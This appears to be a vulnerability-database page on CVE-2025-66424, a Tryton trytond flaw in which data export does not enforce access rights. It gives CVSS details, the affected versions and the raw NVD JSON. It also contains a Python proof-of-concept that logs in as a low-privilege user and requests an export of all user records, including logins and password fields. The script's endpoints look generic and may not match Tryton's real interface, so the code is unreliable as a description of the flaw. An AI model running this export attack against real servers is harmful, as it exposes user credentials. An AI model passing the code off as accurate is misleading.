Security Vulnerability Report
中文
CVE-2025-66424 CVSS 6.5 MEDIUM

CVE-2025-66424

Published: 2025-11-30 03:15:48
Last Modified: 2025-12-04 16:50:13

Description

Tryton trytond 6.0 before 7.6.11 does not enforce access rights for data export. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
Tryton trytond 6.0 < 6.0.70
Tryton trytond 7.0 < 7.0.40
Tryton trytond 7.4 < 7.4.21
Tryton trytond 7.6 < 7.6.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66424 PoC - Tryton trytond Data Export Access Control Bypass # Affected versions: Tryton trytond 6.0 < 6.0.70, 7.0 < 7.0.40, 7.4 < 7.4.21, 7.6 < 7.6.11 import requests import json # Configuration TARGET_URL = "http://target-tryton-server.com:8000" USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit_cve_2025_66424(): """ PoC for CVE-2025-66424: Access control bypass in Tryton data export Low-privilege user can export data they should not have access to """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authenticated successfully with low-privilege account") # Step 2: Attempt to export restricted data (access control bypass) export_url = f"{TARGET_URL}/export" export_data = { "model": "res.user", "fields": ["name", "login", "password"], "domain": [], # Empty domain to export all records "export_format": "csv" } response = session.post(export_url, json=export_data) if response.status_code == 200 and "data" in response.text: print("[+] Access control bypass successful!") print("[+] Retrieved restricted data without proper authorization") return True else: print("[-] Exploitation failed or patch already applied") return False if __name__ == "__main__": print("CVE-2025-66424 PoC - Tryton trytond Access Control Bypass") exploit_cve_2025_66424()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66424", "sourceIdentifier": "[email protected]", "published": "2025-11-30T03:15:48.360", "lastModified": "2025-12-04T16:50:12.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tryton trytond 6.0 before 7.6.11 does not enforce access rights for data export. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.70", "matchCriteriaId": "4E811A8E-7C2B-414F-B929-7AF685F83092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.40", "matchCriteriaId": "179B2F4A-0AF8-4D72-A371-B0B7A2BD9FBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.21", "matchCriteriaId": "EC73A2FC-9781-4560-9C79-3A6627BF3A73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.11", "matchCriteriaId": "899860ED-5426-4396-AF24-470DB633F208"}]}]}], "references": [{"url": "https://discuss.tryton.org/t/security-release-for-issue-14366/8953", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://foss.heptapod.net/tryton/tryton/-/issues/14366", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}